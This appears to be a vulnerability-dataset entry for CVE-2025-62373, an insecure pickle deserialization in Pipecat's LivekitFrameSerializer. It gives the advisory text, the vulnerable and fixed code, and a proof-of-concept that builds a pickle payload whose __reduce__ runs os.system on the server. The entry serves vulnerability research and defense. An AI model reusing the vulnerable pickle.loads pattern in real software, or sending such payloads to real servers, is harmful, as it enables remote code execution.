CVE-2025-62373

Insecure pickle deserialization in Pipecat allows for Remote Code Execution.

• CVSS 9.8
• CWE-502
• Input Validation and Sanitization
• Remote

Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. Versions 0.0.41 through 0.0.93 have a vulnerability in `LivekitFrameSerializer` – an optional, non-default, undocumented frame serializer class (now deprecated) intended for LiveKit integration. The class's `deserialize()` method uses Python's `pickle.loads()` on data received from WebSocket clients without any validation or sanitization. This means that a malicious WebSocket client can send a crafted pickle payload to execute arbitrary code on the Pipecat server. The vulnerable code resides in `src/pipecat/serializers/livekit.py` (around line 73), where untrusted WebSocket message data is passed directly into `pickle.loads()` for deserialization. If a Pipecat server is configured to use LivekitFrameSerializer and is listening on an external interface (e.g. 0.0.0.0), an attacker on the network (or the internet, if the service is exposed) could achieve remote code execution (RCE) on the server by sending a malicious pickle payload. Version 0.0.94 contains a fix. Users of Pipecat should avoid or replace unsafe deserialization and improve network security configuration. The best mitigation is to stop using the vulnerable LivekitFrameSerializer altogether. Those who require LiveKit functionality should upgrade to the latest Pipecat version and switch to the recommended `LiveKitTransport` or another secure method provided by the framework. Additionally, always follow secure coding practices: never trust client-supplied data, and avoid Python pickle (or similar unsafe deserialization) in network-facing components.

CVE

CVE-2025-62373

CWE

CWE-502

CVSS base score

9.8

Published

2026-04-23

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Timing/Serialization

Code defect classification

Missing Check

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

Pipecat

Fixed by upgrading

Yes

Solution

Upgrade to Pipecat version 0.0.94 or later.

import pickle
from typing import Any

# The following are simplified representations of base classes from the Pipecat framework
# to make this example self-contained.
class Frame:
    pass

class FrameSerializer:
    def serialize(self, frame: Frame) -> bytes:
        raise NotImplementedError

    def deserialize(self, data: bytes) -> Frame:
        raise NotImplementedError

# This class represents the vulnerable code from Pipecat versions 0.0.41 through 0.0.93.
# The vulnerability is in the `deserialize` method.
class LivekitFrameSerializer(FrameSerializer):
    """
    An optional, non-default, and now-deprecated frame serializer for LiveKit integration.
    This code is from `src/pipecat/serializers/livekit.py` before the fix.
    """

    def serialize(self, frame: Frame) -> bytes:
        """Serializes a frame to bytes using pickle."""
        return pickle.dumps(frame)

    def deserialize(self, data: bytes) -> Frame:
        """
        Deserializes a frame from bytes using pickle.

        This method is the source of the vulnerability. It calls `pickle.loads()`
        on raw `data` received from a network client (e.g., a WebSocket) without
        any sanitization. A malicious client can send a specially crafted
        pickle payload to achieve Remote Code Execution (RCE) on the server.
        """
        # VULNERABLE LINE: Unsafely deserializes data from an untrusted source.
        return pickle.loads(data)

import logging

from pipecat.frames.frames import Frame
from .frame_serializer import FrameSerializer

logger = logging.getLogger("pipecat.serializers")


class LivekitFrameSerializer(FrameSerializer):
    """This class is deprecated and will be removed in a future version.
    It is insecure and should not be used.
    """

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        logger.error(
            "LivekitFrameSerializer is deprecated, insecure, and should not be used.")
        raise DeprecationWarning(
            "LivekitFrameSerializer is deprecated and should not be used.")

    def serialize(self, frame: Frame) -> bytes:
        raise NotImplementedError

    def deserialize(self, data: bytes) -> Frame:
        raise NotImplementedError

import pickle
import os

class RCE:
    def __reduce__(self):
        # This command will be executed on the server
        command = "touch /tmp/pwned_by_cve_2025_62373"
        return (os.system, (command,))

# Create the malicious pickle payload
payload = pickle.dumps(RCE())

# This script generates the payload. In a real attack, the raw bytes
# held in the 'payload' variable would be sent to the vulnerable
# WebSocket endpoint. For demonstration, we print the bytes.
print(payload)

@misc{vaitp:cve202562373,
  title        = {{Insecure pickle deserialization in Pipecat allows for Remote Code Execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-62373},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-62373/}}
}